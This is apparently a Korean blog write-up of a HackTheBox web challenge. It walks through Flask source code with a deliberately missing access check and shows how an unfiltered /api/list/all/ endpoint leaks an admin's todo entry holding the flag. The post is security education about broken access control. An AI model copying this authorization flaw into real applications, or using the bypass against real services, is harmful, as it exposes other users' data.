티스토리 뷰

728x90
반응형

문제 첫 페이지

문제 개요

Broken Authentication Control

 

문제풀이

우선 Flag가 어디에 위치해있는지 살펴보았는데, schema.sql 파일에서 볼 수 있었습니다.

CREATE TABLE `users` (
	`id` INTEGER PRIMARY KEY AUTOINCREMENT,
	`name` TEXT NOT NULL,
	`secret` TEXT NOT NULL
);

INSERT INTO `users` (`name`, `secret`) VALUES
	('admin', '%s');

CREATE TABLE `todos` (
	`id` INTEGER PRIMARY KEY AUTOINCREMENT,
	`name` TEXT NOT NULL,
	`done` INTEGER NOT NULL,
	`assignee` TEXT NOT NULL
);

INSERT INTO `todos` (`name`, `done`, `assignee`) VALUES
	('HTB{f4k3_fl4g_f0r_t3st1ng}', 0, 'admin');

todos 라는 테이블에 name 컬럼에 Flag 값이 있는 것으로 보입니다. 그리고 assignee 가 admin 계정으로 되어 있는 것으로 보아서 admin 계정으로 로그인 했을 때 해당 todos 목록을 확인할 수 있을 것으로 보입니다.

 

문제에서는 app.py 파일이 entry point 인 것으로 보입니다. 아래 보면 register_blueprint 함수로 라우터 함수들이 등록되고 있는 것을 볼 수 있습니다.

app.register_blueprint(main, url_prefix='/')
app.register_blueprint(api, url_prefix='/api')

 

그리고 해당 라우터 함수들이 정의된 파일은 blueprints/routes.py 에 있는데요. 아래 코드는 routes.py 코드 중 최상단에 위치한 index 코드입니다.

@main.route('/')
def index():
	context = {
		'list_access': g.user,
		'secret': todo.get_secret_from(g.user)
	}
	return render_template('index.html', **context)

index 함수에서는 app.py 의 is_authenticated 함수에서 사전에 등록된 user 값과 그 user 값에 해당하는 secret 값을 context 에 넣고 index.html 파일을 렌더링해줍니다.

 

그리고 is_authenticated 함수는 @app.before_request 데코레이터로 인해서 HTTP 요청이 처리되기 전에 실행되는데요.

@app.before_request
def is_authenticated():
	g.user = session.get('authentication')
	if not g.user:
		username = f'user{generate(8)}'
		todo.create_user(username, generate(15))
		g.user = session['authentication'] = username

보시다시피 g.user 의 값이 "user랜덤한16진수8자리" 로 이루어진 세션 값임을 알 수 있습니다. 그리고 todo.create_user 함수로 user를 생성할 때 두 번째 파라미터로 generate(15) 를 하는 데, 이 값은 secret 값을 의미합니다. 결국 이 내용 때문에 사용자가 문제의 첫 페이지에 도착했을 때 자동으로 user 세션이 등록되어서 아래와 같이 username과 secret 이 자동으로 생성되어 index.html 파일에 렌더링되어서 출력된 것을 확인할 수 있는 것입니다.

 

그럼 이제 위 페이지에서 보이는 user371193eC 라고 하는 계정이 아니라 admin 계정의 todo 목록을 봐야지 문제가 풀릴 것으로 보이는데요.

 

마침 routes.py 에 특정 assignee 의 todo 목록을 확인하는 라우터가 확인됐습니다.

@api.route('/list/<assignee>/')
def list_tasks(assignee):
	return jsonify(todo.get_by_user(assignee))

그럼 단순히 /api/list/admin 으로 요청하면 될까 해봤지만 아래 결과값이 반환되면서 되지 않는 것을 확인할 수 있었습니다.

{
  "error": "Not Allowed"
}

 

그 이유는 바로 아래 데코레이터 때문인데요.

@api.before_request
@verify_integrity
def and_then(): pass

이곳에서 현재 세션의 사용자와 view_args 로 온 asignee 사용자와 일치하는지 검사하는 로직이 있기 때문에 원하는 결과를 얻지 못하게 됩니다.

def verify_integrity(func):
	def check_secret(secret, name):
		if secret != todo.get_secret_from(name):
			return abort(403)

	@functools.wraps(func)
	def check_integrity(*args, **kwargs):
		g.secret = request.args.get('secret', '') or request.form.get('secret', '')

		if request.view_args:
			list_access = request.view_args.get('assignee', '')

			if list_access and list_access != g.user:
				return abort(403)

			todo_id = request.view_args.get('todo_id', '')
			if todo_id:
				g.selected = todo.get_by_id(todo_id)

				if g.selected: 
					if dict(g.selected).get('assignee') == g.user:
						check_secret(g.secret, g.user)
						return func(*args, **kwargs)
					
					return abort(403)

				return abort(404)

		# 생략
		
		check_secret(g.secret, g.user)

		return func(*args, **kwargs)
	return check_integrity

바로 위에 있는 사용자 인증 제어 코드를 우회하면 되는 문제 같습니다.

 

근데 보니깐 라우터 중에서 list_all 이 문득 눈에 띄어 보입니다.

@api.route('/list/all/')
def list_all():
	return jsonify(todo.get_all())

해당 api 로 요청을 하게 되면 우선 별도의 view_args 가 없기 때문에 위 verify_integrity 에서 if request.view_args 조건문을 통과하게 될 것이고 결국에는 그냥 pass 되고 jsonify(todo.get_all()) 가 실행될 것으로 보입니다.

 

이제 /api/list/all/?secret=사용자계정secret값 으로 요청을 보내면 모든 todos 목록이 나올 것으로 예상되고, admin 의 todo 중에서 Flag 값이 포함되어 있는 내용도 보일 것으로 예상됩니다.

[
  {
    "assignee": "admin",
    "done": false,
    "id": 1,
    "name": "how are you seeing this???"
  },
  {
    "assignee": "admin",
    "done": true,
    "id": 2,
    "name": "give makelaris and jr a kiss <3"
  },
  {
    "assignee": "admin",
    "done": false,
    "id": 3,
    "name": "do homework"
  },
  {
    "assignee": "admin",
    "done": false,
    "id": 4,
    "name": "take groceries"
  },
  {
    "assignee": "admin",
    "done": true,
    "id": 5,
    "name": "world Domination"
  },
  {
    "assignee": "admin",
    "done": false,
    "id": 6,
    "name": "HTB{...가려짐...}"
  },
  {
    "assignee": "admin",
    "done": false,
    "id": 7,
    "name": "test"
  }
]

위와 같이 예상대로 Flag 값이 노출됨을 확인할 수 있었습니다. 이번 문제는 단순한 접근제어 설정 미흡에 대한 문제였던 것 같습니다. OWASP Top 10 에 있던 항목인만큼 자주 발생되는 logical 버그인 것 같습니다.

 

- 끝 -

728x90
반응형
댓글